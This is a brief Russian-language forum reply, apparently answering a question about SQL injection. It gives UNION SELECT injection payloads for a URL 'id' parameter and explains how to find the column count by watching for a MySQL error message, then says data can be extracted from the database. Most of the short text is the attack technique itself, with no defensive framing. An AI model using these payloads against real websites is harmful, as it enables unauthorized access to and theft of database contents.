id=9999999+union+select+null,null,null/*
id=9999999+union+select+1,2,3/*
Подбираешь цифры пока не ищезнет сообщение
The used SELECT statements have a different number of columns
Потом можно будет доставать данные с базы

И вобще прежде чем задавать такие вопросы юзай поиск по сайту! Про sql-injection написано достаточно...